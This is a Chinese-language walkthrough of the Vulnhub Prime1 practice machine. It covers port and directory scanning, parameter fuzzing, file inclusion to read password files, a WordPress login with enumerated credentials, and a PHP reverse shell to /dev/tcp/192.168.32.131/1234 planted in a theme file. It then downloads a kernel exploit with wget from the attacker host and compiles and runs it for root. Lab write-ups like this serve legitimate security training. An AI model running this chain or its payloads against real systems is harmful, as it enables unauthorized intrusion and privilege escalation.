摘要
Vulnhub靶机实操笔记-Prime1-解法一
涉及知识内容:目录扫描、文件包含,WordPress利用、内核提权
一、Namp扫描
1、主机存活判断
sudo nmap -sn 192.168.32.0/24
2、快速扫描
以不低于1w的速度快速扫描端口
sudo nmap --min-rate 10000 -p- 192.168.32.140 -oA report/min-rate
--min-rate #以不低于xxx的速度扫描
-p- #全端口
-oA #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫min-rate文件
使用TCP和UDP的形式对扫出的端口进行协议的查看
3、TCP扫描
sudo nmap -sT -sV -O -p22,80 10.10.10.22 -oA report/heavy
-sT #以TCP协议进行扫描
-sV #服务的版本号
-O #服务器系统
-p #指定端口
-oA #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫heavy文件
4、UDP扫描
sudo nmap -sU -p22,80 192.168.32.140 -oA report/heavy-U
-sU #以UDP协议扫描
-p #指定端口
-oA #将扫描结果输出保存到某个文件夹下某个文件 例子是放在report目录下叫heavy-U文件
5、Namp的POC扫描
发现一个DOS漏洞CVE-2007-6750
sudo nmap --script=vuln -p22,80 192.168.32.140
二、目录扫描
1、WordPress
目录扫描发现存在WordPress
在访问dev路径时,看到提示内容说现在我们处在levl 0的等级里面,让我们再努力一点
2、找正确参数
此时重新使用dirb对一些重点后缀名文件进行一个指定扫描操作,扫描得到一个secret.txt文件,去访问看看内容
dirb http://192.168.32.140 -X .zip,.txt -o report/dirbveryharb.txt
看来你有一些秘密。
好的,我只是想帮你。
在你发现的php的每一页上做更多的模糊处理。如果
如果得到任何正确的参数,请按照以下步骤操作。如果你仍然坚持
从这里学习一个很好地使用OSCP的基本工具。
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
因为提示找PHP页面,所有我就特意指定扫PHP类型文件,扫描出两个PHP文件
dirb http://192.168.32.140 -X .php
根据前面提示对获得的两个php文件参数的模糊测试,最终在index.php获得一个正确的参数是file
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.32.140/index.php?FUZZ=ss
-c #wfuzz用来结果分色
-w #指定使用的字典
-hh #只显示 HTTP 响应代码为 136 的请求响应
FUZZ #可以跟一个参数(ss)或不加
带着获得的正确参数尝试去访问一下,提示干的好,但你请求了错误文件
http://192.168.32.140/index.php?file
查看之前secet.txt的提示说查看本地的location.txt文件
//查看location.txt,您将获得下一步行动//
这次就file参数尝试去请求secet.txt,看看结果如何
http://192.168.32.140/index.php?file=location.txt
根据图片的提示让我们用secrettier360参数在别的php页面上(image.php),提示现在你终于得到了正确的参数
http://192.168.32.140/image.php?secrettier360
3、文件包含
提示是正确的参数也没说干什么,此时应该需要去尝试一下文件包含
4、获得密码
从etc/passwd的内容看到有个password.txt在/home/saket目录下,再继续用文件包含去读这个password.txt文件内容获得密码follow_the_ippsec通过ssh尝试过无法直接使用这个密码,进而将目光转到前面扫目录的WordPress后台页面
三、WordPress攻击
1、Wpscan使用
前面目录扫描可以发现有使用WordPress,现在又获得一个密码,这边尝试wpscan去获得一个用户再配合刚刚获得的一个密码
sudo wpscan --url http://192.168.32.140/wordpress -e u
-e #选择需要获得的内容 u是获得用户名
利用wpscan获得的用户名victor和前面获得的密码follow_the_ippsec成功登陆了WordPress后台,
2、WordPress后台利用
1、WordPress插件
先看WordPress的插件,新增插件
上传payload即可,看到是上传一个.zip的文件
随便尝试上传一个.zip的压缩包提示错误,当前父目录是有写权限的嘛
2、WordPress主题
主题编辑器,一般来说从主题编辑器容易有有写权限的一些目录,通过遍历来看看哪些目录有写权限。
从右侧的页面一个个找php页面且带有提交按钮的,这个目录就是有写权限的。此时因为是WordPress,所以
我们就尝试些一个php的反弹shell让它去执行。
写一个php的反弹shell,提交shell后就是找到php页面去触发它
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.32.131/1234 0>&1'"); ?>
访问url触发shell,http://192.168.32.140/wordpress/wp-content/themes/twentynineteen/secret.php
http://your-site.com/wp-content/themes/your-theme-name/secret.php
其中 your-site.com 是你的 WordPress 网站域名,
your-theme-name 是你所使用的主题名称,
secret.php 是你创建的 PHP 文件名。请确保正确替换这些参数,才能成功访问该文件。
获得shell
四、内网提权
1、查看系统详情
uname -a
2、查看用户权限
可以看到有用户saket不需要密码就能以root权限执行,当执行enc时候可以root权限执行却不要输入密码
sudo -l
去对应的目录查看一下enc内容,发现权限不足无法读文件
ls -liah #查看当前文件的权限与属性
3、查看当前系统用户
cd /home
ls #/home目录在Linux称为主目录,在该目录下面存储的是每个用户的目录。
也会是每个用户的数据是存储在该目录下面的一个子目录中。
4、查看定时任务
发现有个定时任务t.sh,但是它没有任何用户权限所以pass
cat /etc/crontab
5、查看系统用户信息
cat /etc/passwd
6、系统内核提权
1、查找攻击脚本
前面发现当前ubuntu版本相对较低,尝试内核提权,使用系统版本去查是否有版本漏洞。发现只有2和3是权限提升相关的
searchsploit Linux ubuntu 4.10.0-28
Linux内核4.10.5/<4.14.3(Ubuntu)-DCCP套接字免费使用|Linux/dos/43234.c
Linux内核<4.13.9(Ubuntu 16.04/Fedora 27)-本地权限升级|Linux/Local/45010.c
Ubuntu<15.10-PT Chown任意PT通过用户命名空间权限升级访问|linux/local/41760.txt
2、下载攻击脚本
searchsploit Linux ubuntu -m 45010
3、查看具体使用方法
先编译,后直接利用执行
gcc cve-2017-16995.c -o cve-2017-16995
./cve-2017-16995
4、本地搭建服务器
攻击机本地搭建一个80端口服务器供下载文件
sudo php -S 0:80
受害靶机使用wget下载攻击机的利用文件
5、EXP提权
将exp传入到受害机,受害机内编译好后,直接执行获得root权限
cd /tmp
wget http://192.168.32.131/45010.c
gcc 45010.c -o 45010
chmod +x 45010
ls -lain
./45010
6、python转稳定shell
命令会列出系统中所有已安装的软件信息,显示当前环境安装了python工具,利用python转稳定交互shell
dpkg -l #查已安装的软件
python -c "import pty;pty.spawn('/bin/bash')"